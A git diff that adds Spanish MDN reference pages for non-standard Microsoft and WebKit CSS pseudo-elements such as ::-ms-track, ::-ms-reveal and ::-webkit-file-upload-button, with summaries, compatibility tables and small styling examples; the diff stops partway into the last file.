+++ b/files/es/web/css/_doublecolon_-ms-fill-lower/index.html
@@ -0,0 +1,88 @@
+---
+title: '::-ms-fill-lower'
+slug: 'Web/CSS/::-ms-fill-lower'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-fill-lower'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-ms-fill-lower</code></strong> representa la porción de la "ruta" (la ranura sobre la cual el indicador desliza) de un {{HTMLElement("input")}} con <code>type="range"</code>, lo que corresponde a los valores inferiores al actualmente seleccionador por el indicador.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<p>Microsoft tiene  una  <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465745.aspx">descriptción en MSDN</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementos usados por IE/Edge para dar estilo a otras partes de un input con type="range":
+  <ul>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-range-progress")}}</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilo con CSS a elementos Input range para que se vean correctamente en distintos navegadores.</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilo y  scripting a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-fill-upper/index.html b/files/es/web/css/_doublecolon_-ms-fill-upper/index.html
new file mode 100644
index 0000000000..1806c2890f
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-fill-upper/index.html
@@ -0,0 +1,88 @@
+---
+title: '::-ms-fill-upper'
+slug: 'Web/CSS/::-ms-fill-upper'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-fill-upper'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a> <a href="/es/docs/Web/CSS">CSS </a><strong><code>::-ms-fill-upper</code></strong> representa la parte de la ruta  (la ranura sobre la que el indicador desliza) de un  {{HTMLElement("input")}} con <code>type="range"</code>, que corresponde a valores mayores que el valor actual en el que se encuentra el indicador.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación</p>
+
+<p>Microsoft tiene una <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465748.aspx">descripción en MSDN</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementoss usados por IE/Edge para dar estilos a otras partes de un input con type="range":
+  <ul>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-range-progress")}}</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilos con CSS a Input range para que se vea de manera correcta en distintos navegadores</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y aplicando scripts a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-fill/index.html b/files/es/web/css/_doublecolon_-ms-fill/index.html
new file mode 100644
index 0000000000..6da2a8a77b
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-fill/index.html
@@ -0,0 +1,106 @@
+---
+title: '::-ms-fill'
+slug: 'Web/CSS/::-ms-fill'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-lemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-fill'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements" title="es/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-ms-fill</code></strong> CSS representa la porción rellena de un elemento {{HTMLElement("progress")}}. Es un pseudo-elemento no estándar y específico de Internet Explorer 10+, de ahí el prefijo del vendedor.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Microsoft tiene una <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465757.aspx">descripción en MSDN</a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">progress::-ms-fill {
+  background-color: orange;
+}</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;
+</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 50)}}</p>
+
+<p>Una barra de progreso a la que se aplique ese estilo tendrá una apariencia similar a la siguiente:</p>
+
+<p><img alt="Progress Bar with Orange Fill" src="https://mdn.mozillademos.org/files/13484/progress_bar.png" style="height: 44px; width: 308px;"></p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}
+  <ul>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-reveal/index.html b/files/es/web/css/_doublecolon_-ms-reveal/index.html
new file mode 100644
index 0000000000..ed8e17278d
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-reveal/index.html
@@ -0,0 +1,72 @@
+---
+title: '::-ms-reveal'
+slug: 'Web/CSS/::-ms-reveal'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-reveal'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS  <strong><code>::-ms-reveal</code></strong> se usa para mostrar y aplicar estilos al botón "mostrar contraseña" que normalmente se pone al lado de un elemento  {{HTMLElement("input")}} con <code>type="password"</code> en Internet Explorer 10+. Este botón revela el valor del campo contraseña en texto plano (en vez de los asteriscos que son usados por motivos de privacidad). Este botón y el pseudo-elemento no son estándar y son específicos de Internet Explorer 10+,  de ahí ese prefijo de vendedor.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<p>Microsoft tiene una <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465773.aspx">descripción en MSDN</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_doublecolon_-ms-thumb/index.html b/files/es/web/css/_doublecolon_-ms-thumb/index.html
new file mode 100644
index 0000000000..3e81694509
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-thumb/index.html
@@ -0,0 +1,44 @@
+---
+title: '::-ms-thumb'
+slug: 'Web/CSS/::-ms-thumb'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elementos CSS
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> CSS  <strong><code>::-ms-thumb</code></strong> representa el indicador que el usuario puede mover a través de la pista o ranura de un elemento  {{HTMLElement("input")}} con <code>type="range"</code> para alterar su valor numérico.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<p>No es parte de ninguna especificación, aunque  Microsoft tiene una <a href="https://msdn.microsoft.com/en-us/library/windows/apps/xaml/hh465780.aspx">descripción en MSDN</a>.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementos usados por IE/Edge para dar estilo  a otras partes de un input range:
+  <ul>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+  </ul>
+ </li>
+ <li>Pseudo-elementos similares usados por otros navegadores:
+  <ul>
+   <li>{{cssxref("::-webkit-slider-thumb")}}</li>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilo con CSS a Inputs range para que funcionen de manera correcta en distintos navegadores</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y aplicando scripts a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-ticks-after/index.html b/files/es/web/css/_doublecolon_-ms-ticks-after/index.html
new file mode 100644
index 0000000000..5f49d4a9b0
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-ticks-after/index.html
@@ -0,0 +1,84 @@
+---
+title: '::-ms-ticks-after'
+slug: 'Web/CSS/::-ms-ticks-after'
+tags:
+  - CSS
+  - No standard
+  - Pseudo-elementos
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-ticks-after'
+---
+<div>{{CSSRef}}</div>
+
+<div>{{non-standard_header}}</div>
+
+<div> </div>
+
+<p>El  <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-element</a>o  <strong><code>::-ms-ticks-after</code></strong> es una extensión de<a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions"> extensión de Microsoft </a>que aplica uno o más estilos, a las marcas de tick que aparecen despues del marcador de un control slider.  El control slider es una posible representación de una entrada tipo rango( <a href="/en-US/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a> ).</p>
+
+<p>Esas marcas no son mostradas por omisión.  Para mostrarlas, se debe de establecer la propiedad display del control a block  {{cssxref("display")}}.</p>
+
+<p>Es posible usar los pseudo elementos  <strong><code>::-ms-ticks-after</code></strong>, {{ cssxref("::-ms-ticks-before") }},  y {{ cssxref("::-ms-track") }} a la vez. Para hacerlo debe crear tres tres conjuntos de marcas, pero la mejor experiencia deusuario es con un conjunto. Par quitar todas las marcas , establezca la propiedad color {{ cssxref("color") }} a transparente.</p>
+
+<h2 id="Allowable_properties" name="Allowable_properties">Allowable Properties</h2>
+
+<p>Solo una de las siguientes propiedades CSS puede ser usada con  <code>::-ms-ticks-after</code> en su selector. Otras propiedadess seran ignoradas.</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (values <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">  {{csssyntax}}
+</pre>
diff --git a/files/es/web/css/_doublecolon_-ms-track/index.html b/files/es/web/css/_doublecolon_-ms-track/index.html
new file mode 100644
index 0000000000..e4feb900b5
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-track/index.html
@@ -0,0 +1,48 @@
+---
+title: '::-ms-track'
+slug: 'Web/CSS/::-ms-track'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMobileBrowserCompatibility
+  - No estádar
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-track'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/CSS/Pseudo-elements" title="en/CSS/Pseudo-elements">pseudo-elemento</a> CSS <strong><code>::-ms-track</code></strong> representa la trayectoria (la ranura sobre la cual se desliza el indicador) de un  {{HTMLElement("input")}} con <code>type="range"</code>.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>No es parte de ninguna especificación</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/windows/apps/xaml/hh465813.aspx">tiene una descripción en MSDN</a>.</p>
+
+<h2 id="See_also" name="See_also">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementoss usados por IE/Edge para dar estilos a otras partes de input range:
+  <ul>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+  </ul>
+ </li>
+ <li>Pseudo-elementos similares usados por otros navegadores:
+  <ul>
+   <li>{{cssxref("::-webkit-slider-runnable-track")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilo con CSS a elementos Inputs range para que se muestren de manera correcta en distintos navegadores</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y aplicando scripts a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-value/index.html b/files/es/web/css/_doublecolon_-ms-value/index.html
new file mode 100644
index 0000000000..618063cb2b
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-value/index.html
@@ -0,0 +1,31 @@
+---
+title: '::-ms-value'
+slug: 'Web/CSS/::-ms-value'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-value'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-ms-value</code></strong> aplica reglas al valor / contenido de un {{HTMLElement("input")}} o de un {{HTMLElement("select")}}. En este pseudo-elemento sólo se pueden establecer ciertas propiesdades, las demás no tendrán efecto.</p>
+
+<h2 id="Syntax" name="Syntax">Síntaxis</h2>
+
+<pre class="syntaxbox">input::-ms-value { <em>propiedades de estilo</em> }
+
+select::-ms-value { <em>propiedades de estilo</em> } </pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<p>No es parte de ninguna espeficiación</p>
+
+<p>Microsoft tiene <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465820.aspx">una descripción en MSDN.</a></p>
diff --git a/files/es/web/css/_doublecolon_-webkit-file-upload-button/index.html b/files/es/web/css/_doublecolon_-webkit-file-upload-button/index.html
new file mode 100644
index 0000000000..5d14e35e58
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-file-upload-button/index.html
@@ -0,0 +1,100 @@
+---
+title: '::-webkit-file-upload-button'
+slug: 'Web/CSS/::-webkit-file-upload-button'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::file-selector-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a>  <a href="/es/docs/Web/CSS">CSS</a> <strong><code>::-webkit-file-upload-button</code></strong>  representa el botón de los elementos {{HTMLElement("input") }} con  <code>type="file"</code>.</p>
+
+<p>No es estándar y es sólo soportado por los navegadores compatibles con WebKit/Blink como Chrome, Opera and Safari (esto queda indicado por el prefijo <code>-webkit</code> ).</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>selector</var>::-webkit-file-upload-button
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;label for="fileUpload"&gt;Upload file&lt;/label&gt;&lt;br&gt;
+    &lt;input type="file" id="fileUpload"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input, label {
+    display: block;
+}
+
+input[type=file]::-webkit-file-upload-button {
+    border: 1px solid grey;
+    background: #FFFAAA;
+}</pre>
+
+<p>Más abajo tienes un ejemplo para probar. El pantallazo a la izquierda muestra como quedaría el botón en caso de que no puedas acceder a Chrome, Opera o Safari. </p>
+
+<p>{{ EmbedLiveSample('Example', '', '', 'https://mdn.mozillademos.org/files/13400/webkit_file_upload_button_screen.png', 'Web/CSS/::-webkit-file-upload-button') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_doublecolon_-webkit-inner-spin-button/index.html b/files/es/web/css/_doublecolon_-webkit-inner-spin-button/index.html
new file mode 100644
index 0000000000..d6dcc041b4
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-inner-spin-button/index.html
@@ -0,0 +1,96 @@
+---
+title: '::-webkit-inner-spin-button'
+slug: 'Web/CSS/::-webkit-inner-spin-button'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Web/CSS/::-webkit-inner-spin-button'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> <a href="/es/docs/Web/CSS">CSS</a>  <strong><code>::-webkit-inner-spin-button</code></strong> se usa para dar estilo a la parte interior del botón ruleta para seleccionar números  en los input con type="number".</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input::-webkit-inner-spin-button {
+  -webkit-appearance: none;
+}</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="number"&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", 200, 30)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un elemento propietario y específico de WebKit/Blink.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatversionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-outer-spin-button")}}</li>
+ <li>{{cssxref("::-webkit-textfield-decoration-container")}}</li>
+ <li><a href="http://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement">Dando estilo a controles de formularios – WebKit</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-webkit-input-placeholder/index.html b/files/es/web/css/_doublecolon_-webkit-input-placeholder/index.html
new file mode 100644
index 0000000000..b765b529a4
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-webkit-input-placeholder/index.html
@@ -0,0 +1,85 @@
+---
+title: '::-webkit-input-placeholder'
